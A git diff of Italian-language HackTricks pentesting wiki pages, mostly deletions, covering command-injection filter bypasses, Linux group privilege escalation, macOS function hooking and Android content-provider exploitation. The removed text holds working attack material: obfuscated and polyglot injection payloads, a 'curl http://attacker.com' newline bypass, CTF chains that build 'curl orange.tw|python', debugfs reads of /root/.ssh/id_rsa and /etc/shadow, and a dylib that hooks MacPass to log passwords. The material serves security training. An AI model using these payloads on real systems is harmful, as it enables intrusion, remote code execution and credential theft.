-\u\n\a\m\e \-\a # uname -a -/\b\i\n/////s\h - -# $@ -who$@ami #whoami - -# Transformations (case, reverse, base64) -$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case -$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash) -$(rev<<<'imaohw') #whoami -bash<<<$(base64 -d<< /tmp/[ -chmod +x [ -export PATH=/tmp:$PATH -if [ "a" ]; then echo 1; fi # Will print hello! -``` -### Iniezione di comandi poliglotta -```bash -1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} -/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ -``` -### Bypassare potenziali regex -```bash -# A regex that only allow letters and numbers might be vulnerable to new line characters -1%0a`curl http://attacker.com` -``` -### Bashfuscator -```bash -# From https://github.com/Bashfuscator/Bashfuscator -./bashfuscator -c 'cat /etc/passwd' -``` -### RCE con 5 caratteri -```bash -# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge -#Oragnge Tsai solution -## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date -http://host/?cmd=>ls\ -http://host/?cmd=ls>_ -http://host/?cmd=>\ \ -http://host/?cmd=>-t\ -http://host/?cmd=>\>g -http://host/?cmd=ls>>_ - -## Step2: generate `curl orange.tw|python` to file "g" -## by creating the necesary filenames and writting that content to file "g" executing the previous generated file -http://host/?cmd=>on -http://host/?cmd=>th\ -http://host/?cmd=>py\ -http://host/?cmd=>\|\ -http://host/?cmd=>tw\ -http://host/?cmd=>e.\ -http://host/?cmd=>ng\ -http://host/?cmd=>ra\ -http://host/?cmd=>o\ -http://host/?cmd=>\ \ -http://host/?cmd=>rl\ -http://host/?cmd=>cu\ -http://host/?cmd=sh _ -# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file - -## Finally execute the file "g" -http://host/?cmd=sh g - - -# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ -# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*" -https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ -## Execute tar command over a folder -http://52.199.204.34/?cmd=>tar -http://52.199.204.34/?cmd=>zcf -http://52.199.204.34/?cmd=>zzz -http://52.199.204.34/?cmd=*%20/h* - -# Another curiosity if you can read files of the current folder -ln /f* -## If there is a file /flag.txt that will create a hard link -## to it in the current folder -``` -### RCE con 4 caratteri -```bash -# In a similar fashion to the previous bypass this one just need 4 chars to execute commands -# it will follow the same principle of creating the command `ls -t>g` in a file -# and then generate the full command in filenames -# generate "g> ht- sl" to file "v" -'>dir' -'>sl' -'>g\>' -'>ht-' -'*>v' - -# reverse file "v" to file "x", content "ls -th >g" -'>rev' -'*v>x' - -# generate "curl orange.tw|python;" -'>\;\\' -'>on\\' -'>th\\' -'>py\\' -'>\|\\' -'>tw\\' -'>e.\\' -'>ng\\' -'>ra\\' -'>o\\' -'>\ \\' -'>rl\\' -'>cu\\' - -# got shell -'sh x' -'sh g' -``` -## Bypass di Read-Only/Noexec/Distroless - -Se ti trovi all'interno di un filesystem con le **protezioni read-only e noexec** o anche in un container distroless, ci sono ancora modi per **eseguire binari arbitrari, anche una shell!:** - -{{#ref}} -../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ -{{#endref}} - -## Bypass di Chroot e altre Jails - -{{#ref}} -../privilege-escalation/escaping-from-limited-bash.md -{{#endref}} - -## Riferimenti e Altro - -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) -- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) -- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) -- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md deleted file mode 100644 index 9100a3662..000000000 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ /dev/null @@ -1,23 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -Ulteriori esempi su yum possono essere trovati su [gtfobins](https://gtfobins.github.io/gtfobins/yum/). - -# Esecuzione di comandi arbitrari tramite pacchetti RPM - -## Controllo dell'ambiente - -Per sfruttare questo vettore, l'utente deve essere in grado di eseguire comandi yum come un utente con privilegi più elevati, cioè root. - -### Un esempio funzionante di questo vettore - -Un esempio funzionante di questo exploit può essere trovato nella stanza [daily bugle](https://tryhackme.com/room/dailybugle) su [tryhackme](https://tryhackme.com). - -## Creazione di un RPM - -Nella sezione seguente, tratterò l'imballaggio di una reverse shell in un RPM utilizzando [fpm](https://github.com/jordansissel/fpm). - -L'esempio seguente crea un pacchetto che include un trigger prima dell'installazione con uno script arbitrario che può essere definito dall'attaccante. Quando installato, questo pacchetto eseguirà il comando arbitrario. Ho usato un semplice esempio di reverse netcat shell per dimostrazione, ma questo può essere cambiato secondo necessità. -```text - -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md deleted file mode 100644 index 34940d1c4..000000000 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ /dev/null @@ -1,140 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Gruppi Sudo/Admin - -## **PE - Metodo 1** - -**A volte**, **per impostazione predefinita \(o perché alcuni software ne hanno bisogno\)** all'interno del **/etc/sudoers** file puoi trovare alcune di queste righe: -```bash -# Allow members of group sudo to execute any command -%sudo ALL=(ALL:ALL) ALL - -# Allow members of group admin to execute any command -%admin ALL=(ALL:ALL) ALL -``` -Questo significa che **qualsiasi utente che appartiene al gruppo sudo o admin può eseguire qualsiasi cosa come sudo**. - -Se questo è il caso, per **diventare root puoi semplicemente eseguire**: -```text -sudo su -``` -## PE - Metodo 2 - -Trova tutti i binari suid e controlla se c'è il binario **Pkexec**: -```bash -find / -perm -4000 2>/dev/null -``` -Se scopri che il binario pkexec è un binario SUID e appartieni a sudo o admin, probabilmente potresti eseguire binari come sudo utilizzando pkexec. Controlla il contenuto di: -```bash -cat /etc/polkit-1/localauthority.conf.d/* -``` -Lì troverai quali gruppi sono autorizzati a eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni linux possono **apparire** alcuni dei gruppi **sudo o admin**. - -Per **diventare root puoi eseguire**: -```bash -pkexec "/bin/sh" #You will be prompted for your user password -``` -Se provi a eseguire **pkexec** e ricevi questo **errore**: -```bash -polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie -==== AUTHENTICATION FAILED === -Error executing command as another user: Not authorized -``` -**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione a questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**: -```bash:session1 -echo $$ #Step1: Get current PID -pkexec "/bin/bash" #Step 3, execute pkexec -#Step 5, if correctly authenticate, you will have a root session -``` - -```bash:session2 -pkttyagent --process #Step 2, attach pkttyagent to session1 -#Step 4, you will be asked in this session to authenticate to pkexec -``` -# Wheel Group - -**A volte**, **per impostazione predefinita** all'interno del **/etc/sudoers** file puoi trovare questa riga: -```text -%wheel ALL=(ALL:ALL) ALL -``` -Questo significa che **qualsiasi utente che appartiene al gruppo wheel può eseguire qualsiasi cosa come sudo**. - -Se questo è il caso, per **diventare root puoi semplicemente eseguire**: -```text -sudo su -``` -# Gruppo Shadow - -Gli utenti del **gruppo shadow** possono **leggere** il **/etc/shadow** file: -```text --rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow -``` -Quindi, leggi il file e prova a **crackare alcuni hash**. - -# Gruppo Disco - -Questo privilegio è quasi **equivalente all'accesso root** poiché puoi accedere a tutti i dati all'interno della macchina. - -File:`/dev/sd[a-z][1-9]` -```text -debugfs /dev/sda1 -debugfs: cd /root -debugfs: ls -debugfs: cat /root/.ssh/id_rsa -debugfs: cat /etc/shadow -``` -Nota che usando debugfs puoi anche **scrivere file**. Ad esempio, per copiare `/tmp/asd1.txt` in `/tmp/asd2.txt` puoi fare: -```bash -debugfs -w /dev/sda1 -debugfs: dump /tmp/asd1.txt /tmp/asd2.txt -``` -Tuttavia, se provi a **scrivere file di proprietà di root** \(come `/etc/shadow` o `/etc/passwd`\) riceverai un errore di "**Permesso negato**". - -# Video Group - -Utilizzando il comando `w` puoi scoprire **chi è connesso al sistema** e mostrerà un output simile al seguente: -```bash -USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -yossi tty1 22:16 5:13m 0.05s 0.04s -bash -moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash -``` -Il **tty1** significa che l'utente **yossi è connesso fisicamente** a un terminale sulla macchina. - -Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi **catturare l'immagine corrente sullo schermo** in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in `/dev/fb0` e puoi trovare la risoluzione di questo schermo in `/sys/class/graphics/fb0/virtual_size` -```bash -cat /dev/fb0 > /tmp/screen.raw -cat /sys/class/graphics/fb0/virtual_size -``` -Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e selezionare come tipo di file **Dati immagine raw**: - -![](../../images/image%20%28208%29.png) - -Poi modifica la Larghezza e l'Altezza a quelle utilizzate sullo schermo e controlla diversi Tipi di Immagine \(e seleziona quello che mostra meglio lo schermo\): - -![](../../images/image%20%28295%29.png) - -# Gruppo Root - -Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per elevare i privilegi... - -**Controlla quali file i membri root possono modificare**: -```bash -find / -group root -perm -g=w 2>/dev/null -``` -# Gruppo Docker - -Puoi montare il filesystem root della macchina host su un volume dell'istanza, così quando l'istanza si avvia carica immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina. - -{{#ref}} -https://github.com/KrustyHack/docker-privilege-escalation -{{#endref}} - -{{#ref}} -https://fosterelli.co/privilege-escalation-via-docker.html -{{#endref}} - -# Gruppo lxc/lxd - -[lxc - Privilege Escalation](lxd-privilege-escalation.md) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md deleted file mode 100644 index 42dd94dfa..000000000 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ /dev/null @@ -1,338 +0,0 @@ -# macOS Function Hooking - -{{#include ../../../banners/hacktricks-training.md}} - -## Interposizione delle Funzioni - -Crea un **dylib** con una sezione **`__interpose`** (o una sezione contrassegnata con **`S_INTERPOSING`**) contenente tuple di **puntatori a funzioni** che si riferiscono alle funzioni **originali** e **sostitutive**. - -Poi, **inietta** il dylib con **`DYLD_INSERT_LIBRARIES`** (l'interposizione deve avvenire prima che l'app principale venga caricata). Ovviamente, le [**restrizioni** applicate all'uso di **`DYLD_INSERT_LIBRARIES`** si applicano anche qui](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). - -### Interponi printf - -{{#tabs}} -{{#tab name="interpose.c"}} -```c:interpose.c -// gcc -dynamiclib interpose.c -o interpose.dylib -#include -#include - -int my_printf(const char *format, ...) { -//va_list args; -//va_start(args, format); -//int ret = vprintf(format, args); -//va_end(args); - -int ret = printf("Hello from interpose\n"); -return ret; -} - -__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf -__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; -``` -{{#endtab}} - -{{#tab name="hello.c"}} -```c -//gcc hello.c -o hello -#include - -int main() { -printf("Hello World!\n"); -return 0; -} -``` -{{#endtab}} - -{{#tab name="interpose2.c"}} -```c -// Just another way to define an interpose -// gcc -dynamiclib interpose2.c -o interpose2.dylib - -#include - -#define DYLD_INTERPOSE(_replacement, _replacee) \ -__attribute__((used)) static struct { \ -const void* replacement; \ -const void* replacee; \ -} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ -(const void*) (unsigned long) &_replacement, \ -(const void*) (unsigned long) &_replacee \ -}; - -int my_printf(const char *format, ...) -{ -int ret = printf("Hello from interpose\n"); -return ret; -} - -DYLD_INTERPOSE(my_printf,printf); -``` -{{#endtab}} -{{#endtabs}} -```bash -DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello -Hello from interpose - -DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello -Hello from interpose -``` -## Method Swizzling - -In ObjectiveC questo è come viene chiamato un metodo: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** - -È necessario l'**oggetto**, il **metodo** e i **parametri**. E quando un metodo viene chiamato, un **msg viene inviato** utilizzando la funzione **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` - -L'oggetto è **`someObject`**, il metodo è **`@selector(method1p1:p2:)`** e gli argomenti sono **value1**, **value2**. - -Seguendo le strutture degli oggetti, è possibile raggiungere un'**array di metodi** dove i **nomi** e i **puntatori** al codice del metodo sono **localizzati**. - -> [!CAUTION] -> Nota che poiché i metodi e le classi vengono accessi in base ai loro nomi, queste informazioni sono memorizzate nel binario, quindi è possibile recuperarle con `otool -ov ` o [`class-dump `](https://github.com/nygard/class-dump) - -### Accessing the raw methods - -È possibile accedere alle informazioni dei metodi come nome, numero di parametri o indirizzo come nel seguente esempio: -```objectivec -// gcc -framework Foundation test.m -o test - -#import -#import -#import - -int main() { -// Get class of the variable -NSString* str = @"This is an example"; -Class strClass = [str class]; -NSLog(@"str's Class name: %s", class_getName(strClass)); - -// Get parent class of a class -Class strSuper = class_getSuperclass(strClass); -NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - -// Get information about a method -SEL sel = @selector(length); -NSLog(@"Selector name: %@", NSStringFromSelector(sel)); -Method m = class_getInstanceMethod(strClass,sel); -NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); -NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - -// Iterate through the class hierarchy -NSLog(@"Listing methods:"); -Class currentClass = strClass; -while (currentClass != NULL) { -unsigned int inheritedMethodCount = 0; -Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - -NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - -for (unsigned int i = 0; i < inheritedMethodCount; i++) { -Method method = inheritedMethods[i]; -SEL selector = method_getName(method); -const char* methodName = sel_getName(selector); -unsigned long address = (unsigned long)method_getImplementation(m); -NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); -} - -// Free the memory allocated by class_copyMethodList -free(inheritedMethods); -currentClass = class_getSuperclass(currentClass); -} - -// Other ways to call uppercaseString method -if([str respondsToSelector:@selector(uppercaseString)]) { -NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; -NSLog(@"Uppercase string: %@", uppercaseString); -} - -// Using objc_msgSend directly -NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); -NSLog(@"Uppercase string: %@", uppercaseString2); - -// Calling the address directly -IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address -NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp -NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method -NSLog(@"Uppercase string: %@", uppercaseString3); - -return 0; -} -``` -### Method Swizzling con method_exchangeImplementations - -La funzione **`method_exchangeImplementations`** consente di **cambiare** l'**indirizzo** dell'**implementazione** di **una funzione con l'altra**. - -> [!CAUTION] -> Quindi, quando una funzione viene chiamata, ciò che viene **eseguito è l'altra**. -```objectivec -//gcc -framework Foundation swizzle_str.m -o swizzle_str - -#import -#import - - -// Create a new category for NSString with the method to execute -@interface NSString (SwizzleString) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; - -@end - -@implementation NSString (SwizzleString) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { -NSLog(@"Custom implementation of substringFromIndex:"); - -// Call the original method -return [self swizzledSubstringFromIndex:from]; -} - -@end - -int main(int argc, const char * argv[]) { -// Perform method swizzling -Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); -Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); -method_exchangeImplementations(originalMethod, swizzledMethod); - -// We changed the address of one method for the other -// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex -// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - -// Example usage -NSString *myString = @"Hello, World!"; -NSString *subString = [myString substringFromIndex:7]; -NSLog(@"Substring: %@", subString); - -return 0; -} -``` -> [!WARNING] -> In questo caso, se il **codice di implementazione del metodo legittimo** **verifica** il **nome del metodo**, potrebbe **rilevare** questo swizzling e impedirne l'esecuzione. -> -> La seguente tecnica non ha questa restrizione. - -### Method Swizzling con method_setImplementation - -Il formato precedente è strano perché stai cambiando l'implementazione di 2 metodi l'uno dall'altro. Utilizzando la funzione **`method_setImplementation`**, puoi **cambiare** l'**implementazione** di un **metodo per l'altro**. - -Ricorda solo di **memorizzare l'indirizzo dell'implementazione di quello originale** se intendi chiamarlo dalla nuova implementazione prima di sovrascriverlo, perché in seguito sarà molto più complicato localizzare quell'indirizzo. -```objectivec -#import -#import -#import - -static IMP original_substringFromIndex = NULL; - -@interface NSString (Swizzlestring) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; - -@end - -@implementation NSString (Swizzlestring) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { -NSLog(@"Custom implementation of substringFromIndex:"); - -// Call the original implementation using objc_msgSendSuper -return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); -} - -@end - -int main(int argc, const char * argv[]) { -@autoreleasepool { -// Get the class of the target method -Class stringClass = [NSString class]; - -// Get the swizzled and original methods -Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - -// Get the function pointer to the swizzled method's implementation -IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - -// Swap the implementations -// It return the now overwritten implementation of the original method to store it -original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - -// Example usage -NSString *myString = @"Hello, World!"; -NSString *subString = [myString substringFromIndex:7]; -NSLog(@"Substring: %@", subString); - -// Set the original implementation back -method_setImplementation(originalMethod, original_substringFromIndex); - -return 0; -} -} -``` -## Hooking Attack Methodology - -In questa pagina sono stati discussi diversi modi per agganciare funzioni. Tuttavia, comportavano **l'esecuzione di codice all'interno del processo per attaccare**. - -Per fare ciò, la tecnica più semplice da utilizzare è iniettare un [Dyld tramite variabili di ambiente o hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Tuttavia, suppongo che questo possa essere fatto anche tramite [Dylib process injection](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port). - -Tuttavia, entrambe le opzioni sono **limitate** a binari/processi **non protetti**. Controlla ciascuna tecnica per saperne di più sulle limitazioni. - -Tuttavia, un attacco di hooking di funzione è molto specifico, un attaccante lo farà per **rubare informazioni sensibili dall'interno di un processo** (se no faresti semplicemente un attacco di iniezione di processo). E queste informazioni sensibili potrebbero trovarsi in app scaricate dall'utente come MacPass. - -Quindi il vettore dell'attaccante sarebbe quello di trovare una vulnerabilità o rimuovere la firma dell'applicazione, iniettare la variabile di ambiente **`DYLD_INSERT_LIBRARIES`** attraverso l'Info.plist dell'applicazione aggiungendo qualcosa come: -```xml -LSEnvironment - -DYLD_INSERT_LIBRARIES -/Applications/Application.app/Contents/malicious.dylib - -``` -e poi **ri-registrare** l'applicazione: -```bash -/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app -``` -Aggiungi in quella libreria il codice di hooking per esfiltrare le informazioni: Passwords, messages... - -> [!CAUTION] -> Nota che nelle versioni più recenti di macOS se **rimuovi la firma** del binario dell'applicazione e questa è stata eseguita in precedenza, macOS **non eseguirà più l'applicazione**. - -#### Esempio di libreria -```objectivec -// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib - -// If you added env vars in the Info.plist don't forget to call lsregister as explained before - -// Listen to the logs with something like: -// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"' - -#include -#import - -// Here will be stored the real method (setPassword in this case) address -static IMP real_setPassword = NULL; - -static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) -{ -// Function that will log the password and call the original setPassword(pass, file_path) method -NSLog(@"[+] Password is: %@", password); - -// After logging the password call the original method so nothing breaks. -return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); -} - -// Library constructor to execute -__attribute__((constructor)) -static void customConstructor(int argc, const char **argv) { -// Get the real method address to not lose it -Class classMPDocument = NSClassFromString(@"MPDocument"); -Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - -// Make the original method setPassword call the fake implementation one -IMP fake_IMP = (IMP)custom_setPassword; -real_setPassword = method_setImplementation(real_Method, fake_IMP); -} -``` -## Riferimenti - -- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/misc/references.md b/src/misc/references.md deleted file mode 100644 index eb3792a1f..000000000 --- a/src/misc/references.md +++ /dev/null @@ -1,95 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#ref}} -https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick -{{#endref}} - -{{#ref}} -https://hausec.com/pentesting-cheatsheet/#_Toc475368982 -{{#endref}} - -{{#ref}} -https://anhtai.me/pentesting-cheatsheet/ -{{#endref}} - -{{#ref}} -https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html -{{#endref}} - -{{#ref}} -https://ired.team/offensive-security-experiments/offensive-security-cheetsheets -{{#endref}} - -{{#ref}} -https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html -{{#endref}} - -{{#ref}} -https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md -{{#endref}} - -{{#ref}} -https://anhtai.me/oscp-fun-guide/ -{{#endref}} - -{{#ref}} -https://www.thehacker.recipes/ -{{#endref}} - -{{#ref}} -https://github.com/swisskyrepo/PayloadsAllTheThings -{{#endref}} - -{{#ref}} -https://gtfobins.github.io/ -{{#endref}} - -{{#ref}} -https://github.com/RistBS/Awesome-RedTeam-Cheatsheet -{{#endref}} - -{{#ref}} -https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet -{{#endref}} - -{{#ref}} -https://hideandsec.sh/ -{{#endref}} - -{{#ref}} -https://cheatsheet.haax.fr/ -{{#endref}} - -{{#ref}} -https://infosecwriteups.com/ -{{#endref}} - -{{#ref}} -https://www.exploit-db.com/ -{{#endref}} - -{{#ref}} -https://wadcoms.github.io/ -{{#endref}} - -{{#ref}} -https://lolbas-project.github.io -{{#endref}} - -{{#ref}} -https://pentestbook.six2dez.com/ -{{#endref}} - -{{#ref}} -https://www.hackingarticles.in/ -{{#endref}} - -{{#ref}} -https://pentestlab.blog/ -{{#endref}} - -{{#ref}} -https://ippsec.rocks/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index 3f3eb8d5e..9a865cdb5 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -1,12 +1,10 @@ -# Sfruttare i Content Providers - -## Sfruttare i Content Providers +# Exploiting Content Providers {{#include ../../../banners/hacktricks-training.md}} -## Introduzione +## Intro -I dati vengono **forniti da un'applicazione ad altre** su richiesta da un componente noto come **content provider**. Queste richieste sono gestite attraverso i metodi della **classe ContentResolver**. I content provider possono memorizzare i loro dati in varie posizioni, come un **database**, **file** o su una **rete**. +I dati sono **forniti da un'applicazione ad altre** su richiesta da un componente noto come **content provider**. Queste richieste sono gestite attraverso i metodi della **classe ContentResolver**. I content provider possono memorizzare i loro dati in varie posizioni, come un **database**, **file** o su una **rete**. Nel file _Manifest.xml_, è necessaria la dichiarazione del content provider. Ad esempio: ```xml @@ -54,7 +52,7 @@ content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` -Dovresti anche controllare il **codice ContentProvider** per cercare query: +Dovresti anche controllare il **codice del ContentProvider** per cercare query: ![](<../../../images/image (121) (1) (1) (1).png>) @@ -64,12 +62,12 @@ Inoltre, se non riesci a trovare query complete, potresti **controllare quali no La query sarà simile a: `content://name.of.package.class/declared_name` -## **Content Providers supportati da Database** +## **Content Provider basati su Database** -Probabilmente la maggior parte dei Content Providers è utilizzata come **interfaccia** per un **database**. Pertanto, se puoi accedervi, potresti essere in grado di **estrarre, aggiornare, inserire e eliminare** informazioni.\ +Probabilmente la maggior parte dei Content Provider è utilizzata come **interfaccia** per un **database**. Pertanto, se puoi accedervi, potresti essere in grado di **estrarre, aggiornare, inserire e eliminare** informazioni.\ Controlla se puoi **accedere a informazioni sensibili** o prova a modificarle per **bypassare** i meccanismi di autorizzazione. -Quando controlli il codice del Content Provider, **guarda** anche per **funzioni** chiamate come: _query, insert, update e delete_: +Quando controlli il codice del Content Provider **guarda** anche per **funzioni** chiamate come: _query, insert, update e delete_: ![](<../../../images/image (887).png>) @@ -87,9 +85,9 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== - email: incognitoguy50@gmail.com ``` -### Inserisci contenuto +### Insert content -Queriando il database imparerai il **nome delle colonne**, poi, potresti essere in grado di inserire dati nel DB: +Interrogando il database imparerai il **nome delle colonne**, poi, potresti essere in grado di inserire dati nel DB: ![](<../../../images/image (98).png>) @@ -97,24 +95,24 @@ Queriando il database imparerai il **nome delle colonne**, poi, potresti essere _Nota che in insert e update puoi usare --string per indicare stringa, --double per indicare un double, --float, --integer, --long, --short, --boolean_ -### Aggiorna contenuto +### Update content Conoscendo il nome delle colonne potresti anche **modificare le voci**: ![](<../../../images/image (780).png>) -### Elimina contenuto +### Delete content ![](<../../../images/image (423).png>) ### **SQL Injection** È semplice testare per SQL injection **(SQLite)** manipolando i **campi di proiezione** e **selezione** che vengono passati al content provider.\ -Quando quering il Content Provider ci sono 2 argomenti interessanti per cercare informazioni: _--selection_ e _--projection_: +Quando interroghi il Content Provider ci sono 2 argomenti interessanti per cercare informazioni: _--selection_ e _--projection_: ![](<../../../images/image (784).png>) -Puoi provare ad **abusare** di questi **parametri** per testare per **SQL injection**: +Puoi provare ad **abusare** di questi **parametri** per testare per **SQL injections**: ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') @@ -147,7 +145,7 @@ android_metadata notes sqlite_sequence ``` -## **Content Provider supportati dal File System** +## **Content Provider basati su File System** I content provider possono essere utilizzati anche per **accedere ai file:** diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index 82e6b8e23..745f3e489 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -1,7 +1,5 @@ # 623/UDP/TCP - IPMI -## 623/UDP/TCP - IPMI - {{#include ../banners/hacktricks-training.md}} @@ -42,7 +40,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### Vulnerabilità IPMI -Nel campo di IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, che espone una vulnerabilità attraverso **cipher type 0**. Questa vulnerabilità, documentata in dettaglio in [la ricerca di Dan Farmer](http://fish2.com/ipmi/cipherzero.html), consente l'accesso non autorizzato con qualsiasi password fornita che un utente valido sia preso di mira. Questa debolezza è stata trovata in vari BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0. +Nel campo di IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, esponendo una vulnerabilità attraverso **cipher type 0**. Questa vulnerabilità, documentata in dettaglio in [la ricerca di Dan Farmer](http://fish2.com/ipmi/cipherzero.html), consente l'accesso non autorizzato con qualsiasi password fornita che miri 